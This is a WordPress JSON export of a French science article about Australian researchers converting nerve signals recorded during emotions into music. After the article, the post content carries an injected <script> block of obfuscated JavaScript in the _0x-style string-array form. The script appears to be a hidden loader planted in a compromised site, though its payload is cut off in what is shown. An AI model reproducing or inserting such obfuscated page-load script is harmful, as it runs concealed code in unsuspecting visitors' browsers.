{"id":51,"date":"2013-12-04T13:55:03","date_gmt":"2013-12-04T10:55:03","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/quand-la-neuroscience-ecrit-la-musique-des-emotions\/"},"modified":"2013-12-04T13:55:03","modified_gmt":"2013-12-04T10:55:03","slug":"quand-la-neuroscience-ecrit-la-musique-des-emotions","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/quand-la-neuroscience-ecrit-la-musique-des-emotions\/","title":{"rendered":"Quand la neuroscience \u00e9crit la musique des \u00e9motions"},"content":{"rendered":"<div class=\"art-article\">\n<div>\n<p style=\"text-align: justify;\"><img decoding=\"async\" src=\"http:\/\/www.aufaitmaroc.com\/pictures\/0122\/8340\/brain.dd2b0.original_medium.jpg\" border=\"0\" width=\"200\" height=\"150\" style=\"float: right;\" \/>Coller l&rsquo;oreille au syst\u00e8me nerveux pour entendre les \u00e9motions vagabonder et transcrire leur brouhaha \u00e9lectrique en un choeur vocal : en Australie, des chercheurs s&rsquo;inventent en Mozart des neurosciences avec l&rsquo;espoir de soulager, un jour, des pathologies affectives.<\/p>\n<p style=\"text-align: justify;\">Dans un laboratoire de la facult\u00e9 de m\u00e9decine, Vaughan Macefield, neurophysiologiste \u00e0 l&rsquo;University of Western Sydney, ajuste un fil \u00e9lectrique dans la jambe de son cobaye, Ben Schultz, un acteur de 27 ans.<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Au bout de ce fil, un micro enregistre l&rsquo;activit\u00e9 acoustique du nerf que recrache un petit haut parleur dans un coin de la pi\u00e8ce. \u00ab\u00a0<em>C&rsquo;est le son que l&rsquo;on capte sur le nerf<\/em>\u00ab\u00a0, s&rsquo;enthousiasme Erin Gee, une chanteuse canadienne associ\u00e9e \u00e0 l&rsquo;exp\u00e9rience. \u00ab\u00a0<em>C&rsquo;est la transcription de ce qui se passe \u00e9lectriquement<\/em>\u00ab\u00a0.<\/p>\n<p style=\"text-align: justify;\">Vaughan Macefield scrute des \u00e9crans sur lesquels se forment de curieux algorithmes \u00e0 chaque fois que Ben Schultz produit une \u00e9motion en regardant des images par exemple violentes ou \u00e9rotiques. Son cerveau envoie alors des signaux que le scientifique intercepte : ce sont ces signaux qui seront \u00ab\u00a0<em>mis en musique<\/em>\u00a0\u00bb par des artistes.<\/p>\n<p>Ces recherches entrent dans le champ de \u00ab\u00a0<em>l&rsquo;informatique affective<\/em>\u00a0\u00bb qui traite des machines capables de d\u00e9tecter, de comprendre et de r\u00e9pondre aux \u00e9motions humaines, souligne le professeur Macefield.<\/p>\n<p>Transcrire les \u00e9motions de fa\u00e7on intelligible, les projeter sur un \u00e9cran ou les transformer en notes de musique pourrait permettre de traiter certaines pathologies comme l&rsquo;autisme.<\/p>\n<p>\u00ab\u00a0<em>Il se pourrait qu&rsquo;en amplifiant leurs propres \u00e9motions, les gens puissent mieux les lire<\/em>\u00ab\u00a0, dit-il.<\/p>\n<p>Les instruments enregistrent les sons g\u00e9n\u00e9r\u00e9s par les nerfs, la pression art\u00e9rielle, la respiration, la sueur et le coeur.<\/p>\n<p>Le tout est stock\u00e9 sur les pistes d&rsquo;un ordinateur, comme sur la table de mixage d&rsquo;un studio, et des logiciels con\u00e7us sp\u00e9cifiquement pour l&rsquo;exp\u00e9rience convertissent les diff\u00e9rentes voix en un choeur vibrant de cloches et de carillons.<\/p>\n<p>A la fin de la session, ils disposeront d&rsquo;une mati\u00e8re suffisamment riche et complexe pour composer une \u00ab\u00a0<em>symphonie \u00e9motionnelle<\/em>\u00a0\u00bb ex\u00e9cut\u00e9e \u00e9lectroniquement.<\/p>\n<p>\u00ab\u00a0<em>On ne peut pas lire dans les pens\u00e9es de Ben et dire pourquoi il \u00e9prouve des \u00e9motions, mais il existe maintenant les moyens technologiques capables de d\u00e9montrer qu&rsquo;il \u00e9prouve r\u00e9ellement des \u00e9motions et de mesurer la densit\u00e9 de ces \u00e9motions<\/em>\u00ab\u00a0, explique Erin Gee.<\/p>\n<p>\u00ab\u00a0<em>Je peux m\u00eame mettre ces \u00e9motions en bouteille et les conserver<\/em>\u00ab\u00a0, dit-elle.<\/p>\n<p>La premi\u00e8re repr\u00e9sentation de cette symphonie nerveuse est pr\u00e9vue pour 2013 \u00e0 Montr\u00e9al.<\/p>\n<\/p><\/div>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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href=\"https:\/\/www.energy-sciences.org\/sciences\/quand-la-neuroscience-ecrit-la-musique-des-emotions\/\" title=\"Quand la neuroscience \u00e9crit la musique des \u00e9motions\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":{"0":"post-51","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-biologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/51","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=51"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/51\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=51"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=51"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=51"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}